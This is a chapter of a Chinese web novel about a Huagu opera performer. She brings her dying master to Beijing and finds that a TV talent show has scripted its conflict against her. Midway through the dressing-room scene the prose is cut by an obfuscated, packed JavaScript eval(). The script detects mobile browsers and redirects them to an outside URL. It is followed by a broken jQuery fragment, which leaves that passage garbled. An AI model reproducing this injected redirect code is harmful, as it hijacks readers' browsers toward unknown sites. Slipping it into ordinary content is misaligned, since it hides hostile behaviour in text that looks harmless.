星城开往京市的高铁上，虞念将毛毯盖在陈凤英膝头。师父消瘦的脸贴在车窗上，一动不动地望着飞速后退的湘江，戏班子的行话叫“望家乡”老艺人知道自己时日无多时，总会多看几眼故土。


    “师父，喝点水。”虞念拧开保温杯，里面是她特意熬的冰糖雪梨，甜香漫出来，“节目组帮我们挂号了，明早第一个看诊。”


    陈凤英回神，摆摆手，突然剧烈咳嗽起来，胸腔起伏得像风箱。虞念慌忙拍背，指尖摸到师父突兀的蝴蝶骨，像要刺破那层苍老的皮肤。三个月前还能压场的铁嗓门，如今喘得像漏了气。


    陈凤英把带血丝的纸巾攥成团，纸团在她掌心显得格外大，“说了不来，我这把老骨头不值当……”


    “您说什么呢！”虞念猛地提高嗓门，又慌忙压低，眼圈泛红，“当年我爹走后，是您一个人撑起戏班子把我拉扯大。现在……”她喉咙发紧，摸到包里的报告，【疑似恶性】几个字像烙铁，烫得她手心发麻。


    列车穿过隧道，黑暗中传来陈凤英轻哼《李三娘》的调子，苦情戏的唱腔在车厢里回荡。这出戏讲女子寒窑十六年等夫归，虞念鼻子一酸，想起师父总说：“咱们唱戏的，命越苦，嗓越亮。”


    ——


    京市西站VIP通道前，《国潮新声代》的副导演李成早已带着两名工作人员等候。见虞念推着轮椅出来，三人立即快步迎上。


    “陈老师！路上辛苦了。”李成恭敬地鞠了一躬，双手递上一束新鲜百合，“知道您喜欢淡雅的花，特意选了不带香味的亚百合，怕刺激呼吸道。”


    身后的工作人员训练有素地接过行李，一人轻扶轮椅把手：“陈老师，我们准备了全电动轮椅，您试试这个更省力。”


    虞念警惕地打量着他们，目光在橙色百合和轮椅间转了圈：“节目组怎么突然……”


    “周兴野老师特意交代的。”李成压低声音，像说什么秘密，“他说接非遗传承人得有接非遗传承人的规矩。”


    陈凤英轻拍虞念手背时，指腹的老茧蹭过徒弟汗湿的皮肤：“丫头，扶我起来。”老人颤巍巍站直，黑色的对襟衫被热风掀起边角，竟对着京市站作了个标准的戏曲揖——腰弯得恰到好处，既显敬意又不失风骨。“老身陈凤英，谢过诸位抬爱。”


    李成慌忙躬身回礼，后腰撞到身后举横幅的工作人员。湘绣的杜鹃花在灯影里簌簌颤动，那是星城市花，此刻倒像从故乡飞来的蝶。


    “我们先去医院。”虞念把师父接回自己带来轮椅，紧握轮椅把手，“合约补充里写明了可以落地就诊。”


    工作人员的手在对讲机上悬着，犹豫不决：“但周兴野老师那边……”


    “让他等着。”虞念推起轮椅就走，她的声音冷得像淬了冰，“天大的事，也得等我师父看完医生。”


    ——


    医院的走廊人满为患，虞念蹲在CT室门口的塑料椅旁，手机屏幕被节目组消息刷得发烫。


    她打开微信群“国潮新生代”，捡重要的信息看。《国潮新生代》赛制说明被置顶：


    【第一阶段：非遗VS潮流对抗赛】


    ①4组传统艺人vs4组潮流艺人


    ②两两PK（节目组指定），观众投票输赢。


    ③败者下轮必须融入对方元素，一起合作完成表演。


    “果然是要拿我们当噱头……”她接着往下划过。


    突然，一条陌生短信刺破屏幕：【呼吸科赵教授团队明早9点会诊，带资料到住院部7楼】。


    她指尖发颤，专家号至少排队三个月。正要回拨，电梯“叮”地一声打开，周兴野戴着鸭舌帽和口罩，长袖衬衫把手臂纹身遮得严严实实。他低头划手机时，锁屏画面一晃而过：虞念去年在岳麓书院演出的剧照，檐角风铃正悬在她肩头。画中人，晕颊霞熏。


    “你……”听到开门声的她条件反射地抬头。


    “别声张。”周兴野把就诊卡塞进她手心，塑料边缘硌着她掌纹里的黏汗，“明天会诊完直接来录制。”转身时，虞念瞥见他通话记录最上方标着【老古董：已拒接17次】，红色数字比大字报还醒目。


    “为什么帮我们？”


    电梯门即将合上的瞬间，周兴野突然用花鼓戏《讨学钱》的调子唱：“小娘子哎—你莫嫌我调门荒（慌）！”尾音故意甩了个滑溜的“哭腔”这是花鼓戏丑角常用的滑稽唱法，路过护士果然噗嗤笑出声。


    虞念耳朵狠狠一颤，被钉在地上。那荒腔走板的“荒”字，像极了她七岁那年。


    师父的戒尺敲在旧戏台木板上，“啪”地截断她拖长的尾音。


    “悲腔要沉，滑腔要飘！你这是剁辣椒呛了喉咙？”


    二十年过去，这走音的弧度竟分毫不差。


    黑色商务车在医院VIP通道前停稳，车门上印着《国潮新生代》的logo，场务第三次看表时，玻璃门终于开了。虞念推着轮椅走出来，陈凤英腿上盖着蓝印花布毯子，那布料旧得发白，却洗得干干净净。


    “陈老师！”场务小张小跑着迎上去，鞠躬时领带差点甩到鞋面上，“我来扶您上车。”说着就要去接轮椅。


    虞念身子一侧，不动声色地挡开：“师父腰不好，座椅得放平。”她听到师傅清嗓的声音，又问，“车上备水了吗？”


    “都备齐了！腰垫都有，导演特意交代按一级演员标准接待。”小张拉开车门，请陈老师上车。


    虞念弯腰给师父系安全带时，瞥见座椅侧袋里插着本《星城花鼓戏经典唱段汇编》。封底贴着出版社标签，上面“周兴野工作室采购”几个字格外扎眼，那个“野”字的最后一笔拉得老长，像匹脱缰的马，一路狂飙。


    车子驶过长安街时，陈凤英突然拍了拍她的手：“念念，开窗。”


    虞念刚要反对，老人已经按下车窗。凉风混着冰糖葫芦的叫卖声灌进来，那拖得老长的吆喝声在虞念耳中再熟悉不过。


    “是‘叫头’的调门！”陈凤英眼睛一亮，干瘦的手指在膝盖上打起拍子，“你听这拖腔，跟《刘海砍樵》里‘胡大姐’的起音一模一样！”


    虞念愣住了那卖糖葫芦的老汉的吆喝声，尾音确实拐着花鼓戏特有的弯。前座场务的手机突然震动，屏幕上跳出一条短信：【买两串糖葫芦，裹糯米纸。陈老师喜欢吃山楂。】发件人：周兴野。


    ——


    第二天早上，医院的阳光斜切进VIP病房，在陈凤英银白的头发上镀了层金边。虞念给师父梳头，桃木梳齿总卡在打结的地方，像是在扯她心里那团乱麻。


    “手抖什么？”陈凤英从镜子里看她，老花镜滑到鼻尖，“当年你第一次登台，我给你梳刘海都没抖过。”


    虞念勉强笑了笑，眼睛却不住地往床上的节目流程表瞟。下午四点《国潮新生代》带妆彩排，现在都十点半了，师父的专家会诊还没消息。


    “陈凤英老师家属在吗？”护士推门进来，“赵教授请您去会议室。”


    会议室里，五位白大褂围着灯箱上的CT片，黑色的光影在他们讨论的脸上转来转去。虞念站在一旁，双手攥成拳头，指甲都快掐进掌心了。


    直到听见“可控制”三个字，她的手指才稍稍松开，掌心全是汗。


    “不过需要立即住院治疗。”赵教授推了推眼镜，好言相劝的说“考虑到患者年龄，我们建议今晚就……”


    “不行。”虞念脱口而出，声音在安静的会诊室里显得特别突兀，“师父今晚必须参加录制。”见医生们皱眉，她急忙解释，“我从来没在师傅不在的时候……”


    “小同志。”赵教授突然改用湘南话，尾音带着德市腔的软糯，“我外婆是常德丝弦艺人，晓得你们这行当的难处。”他写下一串号码，笔尖在纸上顿出个墨点，“这是我师弟蒋旗，节目组医疗顾问，让他全程陪着。”


    陈凤英突然抓住虞念的手腕，力道大得不像生病的人：“今天下午的录制，你自己去。”


    “这怎么行！”


    老人从枕头底下摸出个红绸包袱，一层层打开时，那股沉木香在病房里漫开，里面是把湘南大鼓，琴筒蒙着蛇皮，弓上的马尾都泛黄了。这是师祖传下来的宝贝，师父平日连碰都不让人碰。


    “《补锅》里兰英的唱段，你十六岁就学全了。”陈凤英把鼓塞进她怀里，蛇皮的凉滑贴着虞念的掌心，“当年我师傅走的时候，把这琴传给我说‘凤英啊，戏比天大’。如今该你扛着了。”


    虞念眼眶发热，琴身上的蛇纹在掌心蜿蜒，像极了师父手背上凸起的血管。


    “可是我……”


    “啪！”陈凤英拍了下病床，唱起戏腔，声音陡然拔高，“莫学那檐下雀—”


    虞念本能接唱：“志短翅又薄—”可最后的高音却哑在喉咙里，像根绷断的弦。


    “你看，离了师父就不成调？”陈凤英笑起来，开始剧烈咳嗽，指缝漏出的纸巾上沾着刺目的红，“你听不听师傅的？”


    “听。”虞念低头，看见琴弓马尾上缠着根白发，不知是师父的，还是师祖的。


    ——


    下午三点的化妆间，虞念抱着湘南大鼓站在门口，自己的名牌被贴在离卫生间最近的角落，镜前灯坏了半边，剩下几盏中有的还接触不良地闪烁，把她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16327090|183274||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的脸照得忽明忽暗。


    空气里飘着甜腻的香水味，第二个出场的偶像正在补妆。他的化妆师嬉笑着为他拍闪粉，耳麦里传来导演组的声音：“注意表情管理，多给粉丝饭撒。”他对上化妆师的眼神，两人顿时一顿狂笑。


    虞念坐在角落的折叠椅上，指尖无意识地摩挲着袖口内衬。粗糙的棉布下藏着师父给的护身符，黄纸上“戏比天大”四个字已经磨得发毛。


    隔壁女团成员练舞时爆发出一阵大笑，她抬头看见镜子里反射的七彩镭射裤，晃眼得像把彩虹糖碾碎了镶在腿上。


    “虞老师，您的台本。”场务递来蓝色文件夹，见她没接，又补了句，“可以即兴发挥。”文件夹落在她怀里，压不下她独自登台的紧张。


    翻开一看，雪白A4纸上只有“自由发挥”四个字，墨迹淡得像是打印机没墨了。虞念抬头想追问，场务早已钻进嬉笑的人群。镜子里，她大红大紫的戏服，在一屋子亮片眼影假睫毛里显得格格不入。


    指甲捏紧护身符，她张了张嘴想问问隔壁女团流程，却被突然炸响的网络口水歌吞没。那些贴满亮钻的美甲正在运镜拍抖音，虞念低头合上手中的扇子，扇面沙沙声顷刻被震耳的笑闹淹没了。


    她深吸一口气，打开带来的樟木化妆箱。边角被岁月磨得发亮，锁扣上还刻着个“念”字——是师父当年亲手凿的。取出师父常用的鸭蛋粉，指尖蘸取时，粉末簌簌落在手背上，像场绵密细雨。


    “打底要匀，就像铺台步，一步是一步的规矩。”她想起师父第一次教她上妆时的话，把粉揉进皮肤，直到镜中人的脸透出瓷白的光晕。


    桃色腮红在掌心转了两圈，斜着扫入颧骨之上。


    虞念望着镜中的自己。娱乐圈的规则她不懂，也不想懂。既然要“自由发挥”，那就按戏班子的规矩来。


    她突然站起身，做了个标准的起手式，湘南大鼓在怀中转了半圈。琴弓触弦的刹那，《补锅》里兰英的唱词自然而然涌到舌尖，像为自己打气。


    “你只管大胆接锅补”引用湖南省花鼓戏剧院（1964）。《补锅》[戏曲剧本]。


    虞念停了动作，才发现自己的手在抖。这不是熟悉的戏台，没有师父在侧幕观演，没有师兄们的锣鼓帮衬。聚光灯下，只有她一个人。


    她缓缓坐回化妆椅，手机屏幕亮了，是周兴野十分钟前发的消息：「节目组埋了非遗彩蛋——找到老唱片可复活，先来个开胃菜。找找你的化妆台」


    她想起李伯说过，师父六十年代录的《刘海砍樵》黑胶唱片，去年被音乐公司高价收购……


    她放下手机，在化妆台前后左右好一阵摸索，终于在化妆镜背面摸出张折叠的纸条，字迹龙飞凤舞：


    “黑红也是红，上台发火攻”


    “唱你想唱的，flow别放空。”


    末尾画着个丑萌的戏曲脸谱，额头上歪歪扭扭写着“忠”字。虞念笑出声，眼眶却热了，赶紧把纸条塞进戏服内袋。


    “师父，”她对着镜子里的自己轻声说，“您看着吧。”


    隔壁突然传来“砰”的一声闷响，像是什么重物砸在了地上。虞念下意识屏住呼吸，侧耳贴近墙壁


    “最后出场才有反差效果。”一个压低的男声传来，带着算计的冷笑，“等观众看腻了网红歌、街舞，再上那个老掉牙的花鼓戏，让周兴野上去diss一波，收视率绝对爆。


    “反正都是剧本，观众就爱看这种冲突……连车上那段唱腔汇编，不都是我们车采时特意放的？”


    虞念浑身血液骤然凝固。


    原来都是安排好的？


    她死死攥紧拳头。


    出发前师父嘶哑的叮嘱犹在耳边：


    “戏可以改，魂不能丢”


    她冷笑着把那张折叠的纸条，从捂热了的戏服口袋拿出来，撕得粉碎，毫不留情扔进垃圾桶。


    “下面有请下一位参赛者—”场务的喊声穿透走廊，像道催命符。


    通道尽头的光越来越亮，虞念听见主持人的声音越来越清晰：“星城花鼓戏非遗传承人虞念，将为我们带来传统花鼓戏……”


    胃突然绞痛起来。不是紧张，是愤怒—刚才在候场的电视里，她看着节目组把皮影戏剪成虚拟偶像的陪衬，年轻艺人的唱腔被切得稀碎——像匹断了线的戏马，在电子屏上机械地跑，鬃毛还沾着黄土。台下欢呼震天，没人发现它的影子早已残破不堪。


    幕布后艺人手指磨出血，可导播切走的画面里，观众席的欢呼像潮水一样涌向舞台上闪烁的赛博光影。


    而她站在侧台，指甲深深掐进掌心。